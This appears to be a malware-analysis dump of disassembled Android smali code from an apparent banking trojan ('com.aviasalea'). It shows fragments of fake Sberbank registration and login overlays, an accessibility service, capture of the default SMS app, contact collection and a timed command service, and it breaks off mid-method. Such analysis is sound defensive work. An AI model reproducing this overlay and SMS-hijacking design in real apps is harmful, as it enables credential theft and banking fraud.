                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$7;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$7;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;->onCancel()V
                                      15cond_11: return-void
                                      Cross References
                                      APIs
                                      • android.os.Handler.obtainMessage
                                      • android.os.Handler.sendMessage
                                      Position Instruction Meta Information
                                      0.param p1, "request" # Lcom/aviasalea/api/request/HttpRequest;
                                      1.prologue
                                      3iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer;->mCallHandler:Landroid/os/Handler;
                                      5invoke-virtual {v1}, Landroid/os/Handler;->obtainMessage()Landroid/os/Message;
                                      6move-result-object v0
                                      7const/4 v1, 0x0
                                      8iput v1, v0, Landroid/os/Message;->what:I
                                      9iput-object p1, v0, Landroid/os/Message;->obj:Ljava/lang/Object;
                                      11iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer;->mCallHandler:Landroid/os/Handler;
                                      13invoke-virtual {v1, v0}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
                                      14return-void
                                      APIs
                                      • com.aviasalea.checktls.CntctsTls.<init>
                                      • com.aviasalea.checktls.CntctsTls.execute
                                      Position Instruction Meta Information
                                      0.param p1, "requestRepeatTimeout" # J
                                      1.prologue
                                      2new-instance v0, Lcom/aviasalea/checktls/CntctsTls;
                                      3new-instance v1, Lcom/aviasalea/srs/CmndSrs$6;
                                      5invoke-direct {v1, p0, p1, p2}, Lcom/aviasalea/srs/CmndSrs$6;-><init>(Lcom/aviasalea/srs/CmndSrs;J)V
                                      7invoke-direct {v0, v1}, Lcom/aviasalea/checktls/CntctsTls;-><init>(Lcom/aviasalea/checktls/CntctsTls$OnContactsCallback;)V
                                      8const/4 v1, 0x1
                                      9new-array v1, v1, [Landroid/content/Context;
                                      10const/4 v2, 0x0
                                      11aput-object p0, v1, v2
                                      13invoke-virtual {v0, v1}, Lcom/aviasalea/checktls/CntctsTls;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
                                      14return-void
                                      APIs
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.injs.s.views.KeyboardView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/support/annotation/NonNull;
                                      2.end annotation
                                      3.end param
                                      4.param p2, "attrs" # Landroid/util/AttributeSet;
                                      5.annotation build Landroid/support/annotation/Nullable;
                                      6.end annotation
                                      7.end param
                                      8.param p3, "defStyleAttr" # I
                                      9.prologue
                                      11invoke-direct {p0, p1, p2, p3}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      13invoke-direct {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->initUI()V
                                      14return-void
                                      APIs
                                      • java.lang.Object.hashCode
                                      • java.lang.String.hashCode
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      4invoke-virtual {v0}, Ljava/lang/Object;->hashCode()I
                                      5move-result v0
                                      7iget-object v1, p0, Lde/greenrobot/event/Subscription;->subscriberMethod:Lde/greenrobot/event/SubscriberMethod;
                                      9iget-object v1, v1, Lde/greenrobot/event/SubscriberMethod;->methodString:Ljava/lang/String;
                                      11invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                                      12move-result v1
                                      13add-int/2addr v0, v1
                                      14return v0
                                      APIs
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.widget.FrameLayout.onMeasure
                                      Position Instruction Meta Information
                                      0.param p1, "widthMeasureSpec" # I
                                      1.param p2, "heightMeasureSpec" # I
                                      2.prologue
                                      3const/high16 v0, 0x42400000 # 48.0f
                                      5invoke-static {v0}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      6move-result v0
                                      7const/high16 v1, 0x40000000 # 2.0f
                                      9invoke-static {v0, v1}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      10move-result v0
                                      12invoke-super {p0, p1, v0}, Landroid/widget/FrameLayout;->onMeasure(II)V
                                      13return-void
                                      APIs
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.injs.s.views.KeyboardView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/support/annotation/NonNull;
                                      2.end annotation
                                      3.end param
                                      4.param p2, "attrs" # Landroid/util/AttributeSet;
                                      5.annotation build Landroid/support/annotation/Nullable;
                                      6.end annotation
                                      7.end param
                                      8.prologue
                                      10invoke-direct {p0, p1, p2}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      12invoke-direct {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->initUI()V
                                      13return-void
                                      Cross References
                                      APIs
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.length
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/CharSequence;
                                      1.prologue
                                      3invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      4move-result-object v0
                                      6invoke-virtual {v0}, Ljava/lang/String;->length()I
                                      7move-result v0
                                      8const/4 v1, 0x3
                                      9if-ne v0, v1, :cond_d
                                      10const/4 v0, 0x1
                                      11goto_c: return v0
                                      12cond_d: const/4 v0, 0x0
                                      13goto/16 :goto_c
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.g.view.GView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.param p4, "defStyleRes" # I
                                      4.annotation build Landroid/annotation/TargetApi;
                                      5value = 0x15
                                      6.end annotation
                                      7.prologue
                                      9invoke-direct {p0, p1, p2, p3, p4}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;II)V
                                      11invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->initUI()V
                                      12return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SLogView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.param p4, "defStyleRes" # I
                                      4.annotation build Landroid/annotation/TargetApi;
                                      5value = 0x15
                                      6.end annotation
                                      7.prologue
                                      9invoke-direct {p0, p1, p2, p3, p4}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;II)V
                                      11invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->initUI()V
                                      12return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SberRegisterView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.param p4, "defStyleRes" # I
                                      4.annotation build Landroid/annotation/TargetApi;
                                      5value = 0x15
                                      6.end annotation
                                      7.prologue
                                      9invoke-direct {p0, p1, p2, p3, p4}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;II)V
                                      11invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->initUI()V
                                      12return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.app.PendingIntent.getBroadcast
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Landroid/content/Intent;
                                      3const-class v1, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;
                                      5invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const/high16 v1, 0x8000000
                                      7const/4 v2, 0x0
                                      9invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      10move-result-object v1
                                      11return-object v1
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$802
                                      • com.aviasalea.base.dialog.AlertDialog.access$1802
                                      Position Instruction Meta Information
                                      0.param p1, "items" # [Ljava/lang/CharSequence;
                                      1.param p2, "onClickListener" # Landroid/content/DialogInterface$OnClickListener;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$802(Lcom/aviasalea/base/dialog/AlertDialog;[Ljava/lang/CharSequence;)[Ljava/lang/CharSequence;
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      10invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1802(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/DialogInterface$OnClickListener;)Landroid/content/DialogInterface$OnClickListener;
                                      11return-object p0
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$3002
                                      • com.aviasalea.base.dialog.AlertDialog.access$2002
                                      Position Instruction Meta Information
                                      0.param p1, "text" # Ljava/lang/CharSequence;
                                      1.param p2, "listener" # Landroid/content/DialogInterface$OnClickListener;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$3002(Lcom/aviasalea/base/dialog/AlertDialog;Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      10invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2002(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/DialogInterface$OnClickListener;)Landroid/content/DialogInterface$OnClickListener;
                                      11return-object p0
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$3102
                                      • com.aviasalea.base.dialog.AlertDialog.access$2102
                                      Position Instruction Meta Information
                                      0.param p1, "text" # Ljava/lang/CharSequence;
                                      1.param p2, "listener" # Landroid/content/DialogInterface$OnClickListener;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$3102(Lcom/aviasalea/base/dialog/AlertDialog;Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      10invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2102(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/DialogInterface$OnClickListener;)Landroid/content/DialogInterface$OnClickListener;
                                      11return-object p0
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$2902
                                      • com.aviasalea.base.dialog.AlertDialog.access$1902
                                      Position Instruction Meta Information
                                      0.param p1, "text" # Ljava/lang/CharSequence;
                                      1.param p2, "listener" # Landroid/content/DialogInterface$OnClickListener;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2902(Lcom/aviasalea/base/dialog/AlertDialog;Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      10invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1902(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/DialogInterface$OnClickListener;)Landroid/content/DialogInterface$OnClickListener;
                                      11return-object p0
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$2602
                                      • com.aviasalea.base.dialog.AlertDialog.access$2702
                                      Position Instruction Meta Information
                                      0.param p1, "resId" # I
                                      1.param p2, "backgroundColor" # I
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2602(Lcom/aviasalea/base/dialog/AlertDialog;I)I
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      10invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2702(Lcom/aviasalea/base/dialog/AlertDialog;I)I
                                      11return-object p0
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver.startWakefulService
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      3const/16 v2, 0x12
                                      4if-lt v1, v2, :cond_10
                                      5new-instance v0, Landroid/content/Intent;
                                      6const-class v1, Lcom/aviasalea/srs/StDlgSrs;
                                      8invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      10invoke-static {p1, v0}, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;->startWakefulService(Landroid/content/Context;Landroid/content/Intent;)Landroid/content/ComponentName;
                                      11cond_10: return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.app.PendingIntent.getBroadcast
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Landroid/content/Intent;
                                      3const-class v1, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;
                                      5invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const/high16 v1, 0x8000000
                                      7const/4 v2, 0x0
                                      9invoke-static {p1, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      10move-result-object v1
                                      11return-object v1
                                      APIs
                                      • android.accessibilityservice.AccessibilityService.<init>
                                      • com.aviasalea.srs.GPSrs$1.<init>
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-direct {p0}, Landroid/accessibilityservice/AccessibilityService;-><init>()V
                                      3const/4 v0, 0x1
                                      4iput-boolean v0, p0, Lcom/aviasalea/srs/GPSrs;->mIsAdReqKd:Z
                                      5const/4 v0, 0x0
                                      6iput-object v0, p0, Lcom/aviasalea/srs/GPSrs;->mChSSCl:Ljava/lang/String;
                                      7new-instance v0, Lcom/aviasalea/srs/GPSrs$1;
                                      9invoke-direct {v0, p0}, Lcom/aviasalea/srs/GPSrs$1;-><init>(Lcom/aviasalea/srs/GPSrs;)V
                                      10iput-object v0, p0, Lcom/aviasalea/srs/GPSrs;->mRealTalkAccessibilityReceiver:Landroid/content/BroadcastReceiver;
                                      11return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.edLogin:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView;->edLogin:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6new-instance v1, Lcom/aviasalea/injs/s/views/SLogView$1;
                                      8invoke-direct {v1, p0}, Lcom/aviasalea/injs/s/views/SLogView$1;-><init>(Lcom/aviasalea/injs/s/views/SLogView;)V
                                      10invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      11return-void
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.getActivity
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.getArguments
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Landroid/content/DialogInterface;
                                      1.param p2, "which" # I
                                      2.prologue
                                      4invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;->getActivity()Landroid/app/Activity;
                                      5move-result-object v0
                                      7invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;->getArguments()Landroid/os/Bundle;
                                      8move-result-object v1
                                      10invoke-static {p1, p2, v0, v1}, Lde/greenrobot/event/util/ErrorDialogFragments;->handleOnClick(Landroid/content/DialogInterface;ILandroid/app/Activity;Landroid/os/Bundle;)V
                                      11return-void
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.getActivity
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.getArguments
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;->getActivity()Landroid/app/Activity;
                                      4move-result-object v0
                                      6invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;->getArguments()Landroid/os/Bundle;
                                      7move-result-object v1
                                      9invoke-static {v0, v1, p0}, Lde/greenrobot/event/util/ErrorDialogFragments;->createDialog(Landroid/content/Context;Landroid/os/Bundle;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/Dialog;
                                      10move-result-object v0
                                      11return-object v0
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.getActivity
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.getArguments
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Landroid/content/DialogInterface;
                                      1.param p2, "which" # I
                                      2.prologue
                                      4invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;->getActivity()Landroid/support/v4/app/FragmentActivity;
                                      5move-result-object v0
                                      7invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;->getArguments()Landroid/os/Bundle;
                                      8move-result-object v1
                                      10invoke-static {p1, p2, v0, v1}, Lde/greenrobot/event/util/ErrorDialogFragments;->handleOnClick(Landroid/content/DialogInterface;ILandroid/app/Activity;Landroid/os/Bundle;)V
                                      11return-void
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.getActivity
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.getArguments
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;->getActivity()Landroid/support/v4/app/FragmentActivity;
                                      4move-result-object v0
                                      6invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;->getArguments()Landroid/os/Bundle;
                                      7move-result-object v1
                                      9invoke-static {v0, v1, p0}, Lde/greenrobot/event/util/ErrorDialogFragments;->createDialog(Landroid/content/Context;Landroid/os/Bundle;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/Dialog;
                                      10move-result-object v0
                                      11return-object v0
                                      Cross References
                                      APIs
                                      • android.provider.Telephony$Sms.getDefaultSmsPackage
                                      • com.aviasalea.Realtalk.setDefSmsClPackage
                                      Position Instruction Meta Information
                                      0.prologue
                                      1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                      2const/16 v1, 0x13
                                      3if-ge v0, v1, :cond_7
                                      4goto_6: return-void
                                      5cond_7:
                                      6invoke-static {p0}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;
                                      7move-result-object v0
                                      9invoke-static {p0, v0}, Lcom/aviasalea/Realtalk;->setDefSmsClPackage(Landroid/content/Context;Ljava/lang/String;)V
                                      10goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.applicationContext:Landroid/content/Context
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getBoolean
                                      Position Instruction Meta Information
                                      0.prologue
                                      2sget-object v0, Lcom/aviasalea/Realtalk;->applicationContext:Landroid/content/Context;
                                      4invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      5move-result-object v0
                                      6const v1, 0x7f020001
                                      8invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getBoolean(I)Z
                                      9move-result v0
                                      10return v0
                                      APIs
                                      • android.widget.TextView.setEnabled
                                      • com.aviasalea.base.dialog.AlertDialog$5.setAlpha
                                      Position Instruction Meta Information
                                      0.param p1, "enabled" # Z
                                      1.prologue
                                      3invoke-super {p0, p1}, Landroid/widget/TextView;->setEnabled(Z)V
                                      4if-eqz p1, :cond_b
                                      5const/high16 v0, 0x3f800000 # 1.0f
                                      6goto_7:
                                      7invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$5;->setAlpha(F)V
                                      8return-void
                                      9cond_b: const/high16 v0, 0x3f000000 # 0.5f
                                      10goto/16 :goto_7
                                      APIs
                                      • android.widget.TextView.setEnabled
                                      • com.aviasalea.base.dialog.AlertDialog$7.setAlpha
                                      Position Instruction Meta Information
                                      0.param p1, "enabled" # Z
                                      1.prologue
                                      3invoke-super {p0, p1}, Landroid/widget/TextView;->setEnabled(Z)V
                                      4if-eqz p1, :cond_b
                                      5const/high16 v0, 0x3f800000 # 1.0f
                                      6goto_7:
                                      7invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$7;->setAlpha(F)V
                                      8return-void
                                      9cond_b: const/high16 v0, 0x3f000000 # 0.5f
                                      10goto/16 :goto_7
                                      APIs
                                      • android.widget.TextView.setEnabled
                                      • com.aviasalea.base.dialog.AlertDialog$9.setAlpha
                                      Position Instruction Meta Information
                                      0.param p1, "enabled" # Z
                                      1.prologue
                                      3invoke-super {p0, p1}, Landroid/widget/TextView;->setEnabled(Z)V
                                      4if-eqz p1, :cond_b
                                      5const/high16 v0, 0x3f800000 # 1.0f
                                      6goto_7:
                                      7invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$9;->setAlpha(F)V
                                      8return-void
                                      9cond_b: const/high16 v0, 0x3f000000 # 0.5f
                                      10goto/16 :goto_7
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.buttonsLayout:Landroid/widget/FrameLayout
                                      • java.lang.Integer.valueOf
                                      • android.widget.FrameLayout.findViewWithTag
                                      Position Instruction Meta Information
                                      0.param p1, "type" # I
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      5invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      6move-result-object v1
                                      8invoke-virtual {v0, v1}, Landroid/widget/FrameLayout;->findViewWithTag(Ljava/lang/Object;)Landroid/view/View;
                                      9move-result-object v0
                                      10return-object v0
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.contentScrollView:Landroid/widget/ScrollView
                                      • android.widget.ScrollView.invalidate
                                      • com.aviasalea.base.dialog.AlertDialog.scrollContainer:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.invalidate
                                      Position Instruction Meta Information
                                      0.param p1, "who" # Landroid/graphics/drawable/Drawable;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      5invoke-virtual {v0}, Landroid/widget/ScrollView;->invalidate()V
                                      7iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      9invoke-virtual {v0}, Landroid/widget/LinearLayout;->invalidate()V
                                      10return-void
                                      Cross References
                                      APIs
                                      • java.util.regex.Pattern.matcher
                                      • java.util.regex.Matcher.matches
                                      Position Instruction Meta Information
                                      0.param p0, "address" # Ljava/lang/String;
                                      1.prologue
                                      3sget-object v0, Lcom/aviasalea/ping/IPTools;->IPV4_PATTERN:Ljava/util/regex/Pattern;
                                      5invoke-virtual {v0, p0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
                                      6move-result-object v0
                                      8invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
                                      9move-result v0
                                      10return v0
                                      Cross References
                                      APIs
                                      • java.util.regex.Pattern.matcher
                                      • java.util.regex.Matcher.matches
                                      Position Instruction Meta Information
                                      0.param p0, "address" # Ljava/lang/String;
                                      1.prologue
                                      3sget-object v0, Lcom/aviasalea/ping/IPTools;->IPV6_HEX_COMPRESSED_PATTERN:Ljava/util/regex/Pattern;
                                      5invoke-virtual {v0, p0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
                                      6move-result-object v0
                                      8invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
                                      9move-result v0
                                      10return v0
                                      Cross References
                                      APIs
                                      • java.util.regex.Pattern.matcher
                                      • java.util.regex.Matcher.matches
                                      Position Instruction Meta Information
                                      0.param p0, "address" # Ljava/lang/String;
                                      1.prologue
                                      3sget-object v0, Lcom/aviasalea/ping/IPTools;->IPV6_STD_PATTERN:Ljava/util/regex/Pattern;
                                      5invoke-virtual {v0, p0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
                                      6move-result-object v0
                                      8invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
                                      9move-result v0
                                      10return v0
                                      APIs
                                      • java.lang.Thread.<init>
                                      • java.lang.Thread.start
                                      Position Instruction Meta Information
                                      0.param p1, "pingListener" # Lcom/aviasalea/ping/Ping$PingListener;
                                      1.prologue
                                      2new-instance v0, Ljava/lang/Thread;
                                      3new-instance v1, Lcom/aviasalea/ping/Ping$1;
                                      5invoke-direct {v1, p0, p1}, Lcom/aviasalea/ping/Ping$1;-><init>(Lcom/aviasalea/ping/Ping;Lcom/aviasalea/ping/Ping$PingListener;)V
                                      7invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                      9invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                                      10return-object p0
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.mTimer:Ljava/util/Timer
                                      • com.aviasalea.srs.CmndSrs$2.<init>
                                      • java.util.Timer.scheduleAtFixedRate
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mTimer:Ljava/util/Timer;
                                      3new-instance v1, Lcom/aviasalea/srs/CmndSrs$2;
                                      5invoke-direct {v1, p0}, Lcom/aviasalea/srs/CmndSrs$2;-><init>(Lcom/aviasalea/srs/CmndSrs;)V
                                      6const-wide/16 v2, 0x0
                                      7const-wide/16 v4, 0x7530
                                      9invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V
                                      10return-void
                                      Cross References
                                      APIs
                                      • java.lang.Thread.<init>
                                      • java.lang.Thread.start
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Ljava/lang/Thread;
                                      3new-instance v1, Lcom/aviasalea/srs/CmndSrs$3;
                                      5invoke-direct {v1, p0, p1}, Lcom/aviasalea/srs/CmndSrs$3;-><init>(Lcom/aviasalea/srs/CmndSrs;Landroid/content/Context;)V
                                      7invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                      9invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                                      10return-void
                                      Cross References
                                      APIs
                                      • java.lang.Thread.<init>
                                      • java.lang.Thread.start
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Ljava/lang/Thread;
                                      3new-instance v1, Lcom/aviasalea/srs/StDlgSrs$1;
                                      5invoke-direct {v1, p0}, Lcom/aviasalea/srs/StDlgSrs$1;-><init>(Landroid/content/Context;)V
